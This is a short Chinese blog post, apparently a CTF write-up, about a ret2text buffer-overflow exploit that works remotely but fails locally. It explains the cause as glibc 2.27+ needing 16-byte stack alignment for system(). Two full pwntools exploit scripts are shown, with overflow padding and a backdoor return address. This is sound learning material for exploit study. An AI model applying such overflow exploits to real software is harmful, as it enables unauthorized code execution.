title: exp本地不通远程通的问题
date: 2023-09-26 02:35:50
tags:
typora-root-url: ./exp本地不通远程通的问题
今天看一个ret2text的题目的时候,遇到了exp本地不通,远程通的奇怪问题,题目是这样的
有个backdoor函数是这样的
exp是这样的
from pwn import *
# p=remote("1.container.jingsai.apicon.cn",30509)
elf = context.binary = ELF('./Intruduce')
p = process()
context.log_level='debug'
payload=b'a'* (32 + 8)
backd00r=0x4011B6
payload+=p64(backd00r)
s=p.recvline() ; print(s)
print(s)
char=p.recv(1)
print(char)
p.sendline(payload)
p.interactive()
gdb调试了一下发现在call system的时候卡在了这个xmm寄存器里
搜索了一下,在这里找到了解决方法 https://blog.csdn.net/fjh1997/article/details/107695261
发现是glibc >= 2.27的时候 system函数里面会调用xmm寄存器,xmm寄存器要求16字节对齐,远程的环境应该是<2.27的所以可以直接打通,然后我本地的glibc版本是2.35的,所以会因为xmm寄存器内存对齐的原因导致exp打不通,只需要少push一个地址,内存就对齐了
一开始我是用4011B6这个地址,后面换成了4011BB就对齐了,然后本地就通了
from pwn import *
# p=remote("1.container.jingsai.apicon.cn",30509)
elf = context.binary = ELF('./Intruduce')
p = process()
context.log_level='debug'
payload=b'a'* (32 + 8)
backd00r=0x4011BB # old address 4011B6
payload+=p64(backd00r)
s=p.recvline() ; print(s)
print(s)
char=p.recv(1)
print(char)
p.sendline(payload)
p.interactive()
标签:exp,远程,context,print,backd00r,payload,不通
From: https://www.cnblogs.com/nyyyddddn/p/17740294.html